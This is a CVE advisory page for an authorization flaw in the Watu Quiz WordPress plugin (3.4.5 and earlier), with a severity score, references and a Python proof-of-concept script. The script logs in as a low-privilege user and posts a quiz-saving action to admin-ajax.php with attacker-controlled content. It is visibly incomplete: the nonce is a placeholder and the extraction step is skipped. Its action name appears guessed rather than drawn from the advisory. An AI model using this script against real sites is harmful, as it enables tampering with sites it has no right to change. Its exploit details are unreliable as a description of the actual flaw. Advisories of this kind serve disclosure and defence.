CVE-2025-68587

Description

Missing Authorization vulnerability in Bob Watu Quiz watu allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Watu Quiz: from n/a through <= 3.4.5.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Watu Quiz <= 3.4.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2025-68587 PoC - Watu Quiz Authorization Bypass
# Target: WordPress site with Watu Quiz plugin <= 3.4.5

target_url = "http://target-wordpress-site.com"
username = "subscriber_user"
password = "user_password"

# Step 1: Authenticate and get nonce
session = requests.Session()
login_url = f"{target_url}/wp-login.php"
login_data = {
    "log": username,
    "pwd": password,
    "wp-submit": "Log In"
}
session.post(login_url, data=login_data)

# Step 2: Get WordPress nonce
dashboard_url = f"{target_url}/wp-admin/"
response = session.get(dashboard_url)
# Extract nonce from response (simplified)

# Step 3: Exploit authorization bypass
# Attempt to access admin-only functionality as low-privileged user
exploit_endpoints = [
    f"{target_url}/wp-admin/admin-ajax.php",
    f"{target_url}/wp-admin/admin.php?page=watu"
]

exploit_data = {
    "action": "watu_save_quiz",
    "nonce": "attacker_provided_or_bypassed_nonce",
    "quiz_title": "Malicious Quiz",
    "quiz_data": "attacker_controlled_content"
}

# Send exploit request
response = session.post(exploit_endpoints[0], data=exploit_data)
print(f"Response Status: {response.status_code}")
print(f"Response Content: {response.text}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-68587
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-68587
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-68587/
[4] VulDB https://vuldb.com/cve/CVE-2025-68587
[5] https://patchstack.com/database/Wordpress/Plugin/watu/vulnerability/wordpress-watu-quiz-plugin-3-4-5-broken-access-control-vulnerability-2?_s_id=cve

Raw JSON Data

JSON

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